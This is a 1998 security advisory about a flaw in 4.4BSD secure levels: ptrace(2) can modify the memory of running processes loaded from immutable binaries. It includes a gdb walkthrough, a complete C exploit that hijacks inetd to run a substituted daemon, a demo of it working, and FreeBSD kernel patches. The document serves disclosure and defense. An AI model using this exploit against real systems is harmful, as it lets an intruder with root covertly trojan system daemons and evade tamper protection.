Date: Wed, 10 Jun 1998 22:50:35 +0100
From: Niall Smart <njs3@DOC.IC.AC.UK.>
To: [email protected]Subject: Vulnerability in 4.4BSD Secure Levels Implementation
Vulnerability in 4.4BSD Secure Levels Implementation
Synopsis
========
4.4BSD introduced the concept of "secure levels" which are intended to
allow the system administrator to protect the kernel and system files from
modification by intruders. When the system is running in secure mode file
flags can be used to indicate that anyone, even the superuser, should
be prevented from deleting or modifying the file, or that write access
should be restricted to append-only. In addition device files such as
/dev/kmem and those for disk devices are only available for read access.
This protection is not intended to prevent system compromise, but
instead is a damage limitation measure -- by preventing intruders who
have compromised the root account from deleting logs of the intrusion
or planting "trojan horses" their ability to hide their presence on the
system or covertly gather sensitive information is reduced.
We have discovered a vulnerability in all current implementations of
secure levels which allow an intruder to modify the memory image of
running processes, thereby bypassing the protection applied to system
binaries and their configuration files. The vulnerability cannot be
exploited to modify the init process, kernel memory or the protected
files themselves.
Details
=======
The ptrace(2) system call can be used to modify the memory image of
another process. It is typically used by debuggers and other similar
utilities. Due to inadequate checking, it is possible to use ptrace(2)
to modify the memory image of processes which have been loaded from a
file which has the immutable flags set. As mentioned, this does not
apply to the init process.
This vulnerability is significant in that it allows an intruder to
covertly modify running processes. The correct behaviour is to make
the address space of these processes immutable. Although an intruder
can still kill them and start others in their place, the death of system
daemons will (should) draw attention on secure systems.
An example exploit and patches are appended.
Niall Smart, [email protected].
cstone, [email protected].
Exploit
=======
There are a variety of daemons which an intruder would wish to trojan,
inetd being one of the most obvious. Once the intruder controls inetd,
any network logins handled by daemons started by inetd are completely
under the control of the intruder. Other important daemons which are
likely to be attacked include sshd, crond, syslogd, and getty.
Here we present sample code which shows how to use ptrace(2) to attach to
and control a running inetd and so that it starts daemons which we choose
instead of those specified in inetd.conf. For the sake of explanation
we will use the FreeBSD version of inetd compiled with debugging symbols.
If you look at the inetd source you will see that it uses an array of
struct servtab which represents the services specified in inetd.conf.
The se_server member of struct servtab specifies the path to the server
which handles requests for the service. When inetd accepts a new
connection it searches this array for the appropriate entry, stores a
pointer to the entry in the variable sep and then forks, the child then
fiddles with file descriptors and execs the server.
The fork happens on line 490 of inetd.c, we insert a breakpoint at this
instruction and when we hit it modify the se_server member of the struct
servtab which sep points to. We then insert another breakpoint later
in the code which only the parent process will execute and continue,
when we hit that breakpoint we change the se_server back to what it was.
Meanwhile, the child process continues and executes whatever server we
have told it to.
# gdb --quiet ./inetd
(gdb) list 489,491
489 }
490 pid = fork();
491 }
(gdb) break 490
Breakpoint 2 at 0x1f76: file inetd.c, line 490.
(gdb) p &sep
Address requested for identifier "sep" which is in a register.
(gdb) p sep
$1 = (struct servtab *) 0x1
(gdb) info reg
eax 0x0 0
ecx 0xefbfda50 -272639408
edx 0x2008bf48 537444168
ebx 0xefbfda90 -272639344
esp 0xefbfd968 0xefbfd968
ebp 0xefbfda68 0xefbfda68
esi 0x1 1
edi 0x0 0
eip 0x1914 0x1914
eflags 0x246 582
cs 0x1f 31
ss 0x27 39
ds 0x27 39
es 0x27 39
(gdb)
So, the first breakpoint address is at 0x1F76, and the sep variable
has been placed in the register %esi which makes writing the exploit
a bit easier. After the fork we want to stop the parent process only,
inserting a breakpoint at line 502 will achieve that:
(gdb) list 501,503
501 if (pid)
502 addchild(sep, pid);
503 sigsetmask(0L);
(gdb) break 502
Breakpoint 1 at 0x1fc8: file inetd.c, line 502.
Line 502 corresponds to the instruction at 0x1FC8. Finally, we will need
some unused memory to write in the string for our replacement daemon, for
this we can simply overwrite the code that performs the option processing:
(gdb) break 325
Breakpoint 2 at 0x1a9a: file inetd.c, line 325.
We take 64 bytes from 0x1A9A. Here is the exploit, the first three
arguments specify the first and second breakpoints and the address of
the spare memory and the last is the pid of the inetd to attach to.
[ Note to script kiddies: you need root on the system first ]
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <machine/reg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <unistd.h>
#if defined(__FreeBSD__)
#define SE_SERVER_OFF 44
#elsif defined(__OpenBSD__)
#define SE_SERVER_OFF 48
#endif
#define INSN_TRAP 0xCC
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))
#define Ptrace(req, pid, addr, data) _Ptrace(req, #req, pid, (caddr_t) addr, data)
void sig_handler(int unused);
sig_atomic_t finish = 0;
int pid;
int _Ptrace(int req, const char* reqname, pid_t pid, caddr_t addr, int data)
{
int ret = ptrace(req, pid, addr, data);
if (ret < 0 && errno != 0) {
fprintf(stderr, "ptrace %s: %s\n", reqname, strerror(errno));
exit(EXIT_FAILURE);
}
/* this shouldn't be necessary */
#ifdef __FreeBSD__
if (req == PT_DETACH)
kill(pid, SIGCONT);
#endif
return ret;
}
void
sig_handler(int unused)
{
/* we send the child a hopelessly harmful signal to break outselves
* out of ptrace */
finish = 1;
kill(pid, SIGINFO);
}
struct replace {
char* old;
char* new;
};
int
main(int argc, char** argv)
{
struct reg regs;
int insn;
int svinsn;
caddr_t breakaddr;
caddr_t oldaddr;
caddr_t spareaddr;
caddr_t addr;
caddr_t nextaddr;
caddr_t contaddr;
char buf[64];
char* ptr;
struct replace* rep;
struct replace replace[] = { { "/bin/cat", "/bin/echo" } };
if (argc != 5) {
fprintf(stderr, "usage: %s <breakaddr> <nextaddr> <spareaddr> <pid>\n", argv[0]);
exit(EXIT_FAILURE);
}
breakaddr = (caddr_t) strtoul(argv[1], 0, 0);
nextaddr = (caddr_t) strtoul(argv[2], 0, 0);
spareaddr = (caddr_t) strtoul(argv[3], 0, 0);
pid = atoi(argv[4]);
signal(SIGINT, sig_handler);
signal(SIGTERM, sig_handler);
signal(SIGQUIT, sig_handler);
/*
* attach her up
*/
Ptrace(PT_ATTACH, pid, 0, 0);
wait(0);
Ptrace(PT_GETREGS, pid, ®s, 0);
printf("%%esp = %#x\n", regs.r_esp);
printf("%%ebp = %#x\n", regs.r_ebp);
printf("%%eip = %#x\n", regs.r_eip);
contaddr = (caddr_t) 1;
while (1) {
/*
* replace the lowest byte of the dw at the specified address
* with a breakpoint insn
*/
svinsn = Ptrace(PT_READ_D, pid, breakaddr, 0);
insn = (svinsn & ~0xFF) | INSN_TRAP;
Ptrace(PT_WRITE_D, pid, breakaddr, insn);
printf("%x ==> %x @ %#x\n", svinsn, insn, (int) breakaddr);
/* continue till we hit the breakpoint */
Ptrace(PT_CONTINUE, pid, contaddr, 0);
do {
/* FreeBSD reports signals twice, it shouldn't do that */
int sig;
int status;
wait(&status);
sig = WSTOPSIG(status);
printf("process received signal %d (%s)\n", sig, sys_siglist[sig]);
if (finish)
goto detach;
if (sig == SIGTRAP)
break;
Ptrace(PT_CONTINUE, pid, 1, WSTOPSIG(status));
} while(1);
Ptrace(PT_GETREGS, pid, ®s, 0);
printf("hit breakpoint at %#x\n", (int) regs.r_eip - 1);
/* copy out the pathname of the daemon it's trying to run */
oldaddr = (caddr_t) Ptrace(PT_READ_D, pid, regs.r_esi + SE_SERVER_OFF, 0);
for (ptr = buf, addr = oldaddr; ptr < &buf[ARRSIZE(buf)]; ptr += 4, addr += 4)
*(int*)ptr = Ptrace(PT_READ_D, pid, addr, 0);
printf("daemon path ==> %s @ %#x\n", buf, (int)oldaddr);
/* check if we want to substitute our own */
for (rep = replace; rep < &replace[ARRSIZE(replace)] || (rep = 0); rep++)
if (!strcmp(rep->old, buf)) {
printf("%s ==> %s\n", rep->old, rep->new);
break;
}
/* copy the substitute pathname to some unused location */
if (rep != 0) {
strcpy(buf, rep->new);
for (ptr = buf, addr = spareaddr; ptr < &buf[sizeof(buf)]; ptr += 4, addr += 4)
Ptrace(PT_WRITE_D, pid, addr, *(int*)ptr);
Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) spareaddr);
}
/*
* replace the original instruction, set a breakpoint on the next
* instruction we want to break in and then reset the daemon path,
* and remove the last breakpoint. We could just single step over
* the for syscall but all the crap involved in calling a fn in a
* dll makes it easier to just to set a breakpoint on the next
* instruction and wait till we hit that
*/
Ptrace(PT_WRITE_D, pid, breakaddr, svinsn);
svinsn = Ptrace(PT_READ_D, pid, nextaddr, 0);
insn = (svinsn & ~0xFF) | INSN_TRAP;
Ptrace(PT_WRITE_D, pid, nextaddr, insn);
Ptrace(PT_CONTINUE, pid, breakaddr, 0);
wait(0);
Ptrace(PT_GETREGS, pid, ®s, 0);
printf("stepped instruction to %#x\n", regs.r_eip);
Ptrace(PT_WRITE_D, pid, nextaddr, svinsn);
contaddr = nextaddr;
/* put back the original path */
if (rep != 0)
Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) oldaddr);
}
detach:
printf("detaching\n");
Ptrace(PT_WRITE_D, pid, breakaddr, svinsn);
Ptrace(PT_DETACH, pid, 1, 0);
return 0;
}
So, lets try it out:
# cat inetd.conf
afs3-fileserver stream tcp nowait root /bin/cat cat /root/inetd.conf
# telnet localhost 7000
Trying 127.0.0.1...
Connected to localhost
Escape character is '^]'.
afs3-fileserver stream tcp nowait root /bin/cat cat /root/inetd.conf
Connection closed by foreign host.
# ps -aux | grep inetd
root 1233 0.0 0.9 204 556 ?? SXs 11:41AM 0:00.02 ./inetd /root/inetd.conf
# ./ptrace 0x1F76 0x1FC8 0x1A9A 1233 >/dev/null 2>&1 &
[1] 1267
# telnet localhost 7000
Trying 127.0.0.1...
Connected to localhost
Escape character is '^]'.
/root/inetd.conf
Connection closed by foreign host.
#
Affected
========
BSD/OS, FreeBSD, NetBSD, OpenBSD.
Patches
=======
OpenBSD patched this problem yesterday. The following patches apply to
FreeBSD-current and will apply to FreeBSD-stable with some tweaking of
the line numbers.
--- kern/sys_process.c Mon Jun 8 11:47:03 1998+ kern/sys_process.c Mon Jun 8 11:49:53 1998
@@ -37,6 +37,7 @@
#include <sys/proc.h>
#include <sys/vnode.h>
#include <sys/ptrace.h>
+#include <sys/stat.h>
#include <machine/reg.h>
#include <vm/vm.h>
@@ -208,6 +209,7 @@
struct proc *p;
struct iovec iov;
struct uio uio;
+ struct vattr va;
int error = 0;
int write;
int s;
@@ -246,6 +248,11 @@
/* can't trace init when securelevel > 0 */
if (securelevel > 0 && p->p_pid == 1)
return EPERM;
+
+ if((error = VOP_GETATTR(p->p_textvp, &va, p->p_ucred, p)) != 0)
+ return(error);
+ if(va.va_flags & (IMMUTABLE|NOUNLINK))
+ return(EPERM);
/* OK */
break;
--- kern/kern_exec.c Sun Jun 7 17:23:14 1998+ kern/kern_exec.c Tue Jun 9 14:08:10 1998
@@ -655,6 +655,8 @@
error = VOP_GETATTR(vp, attr, p->p_ucred, p);
if (error)
return (error);
+ if((p->p_flag & P_TRACED) && (attr.va_flags & (IMMUTABLE|NOUNLINK)))
+ return (EACCES);
/*
* 1) Check if file execution is disabled for the filesystem that this
--- miscfs/procfs/procfs_vnops.c Tue May 19 09:15:00 1998+ miscfs/procfs/procfs_vnops.c Wed Jun 10 16:23:33 1998
@@ -129,6 +129,8 @@
{
struct pfsnode *pfs = VTOPFS(ap->a_vp);
struct proc *p1, *p2;
+ int error;
+ struct vattr va;
p2 = PFIND(pfs->pfs_pid);
if (p2 == NULL)
@@ -144,6 +146,12 @@
if (!CHECKIO(p1, p2) &&
!procfs_kmemaccess(p1))
return (EPERM);
+
+ error = VOP_GETATTR(p2->p_textvp, &va, p1->p_ucred, p1);
+ if(error)
+ return(error);
+ if(va.va_flags & IMMUTABLE)
+ return(EPERM);
if (ap->a_mode & FWRITE)
pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);